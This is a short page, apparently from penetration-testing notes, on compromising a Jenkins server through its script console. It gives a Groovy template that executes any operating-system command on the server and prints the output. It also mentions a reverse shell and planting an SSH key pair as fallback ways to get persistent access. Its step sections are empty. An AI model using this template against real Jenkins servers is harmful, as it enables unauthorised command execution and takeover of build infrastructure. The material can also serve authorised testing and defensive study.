Jenkins
Jenkins Server Compromise
Requirements: Access to a jenkins dashboard and script console
Steps:
Alternate Method: Create SSH Key-pair for SSH Access (Requires SSH port being open, and use this in case the reverse shell doesn't work)
Command running template:
def proc = "id".execute() (Replace the "id" value with any OS Command)
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.text
println b.toString()Command Steps:
Last updated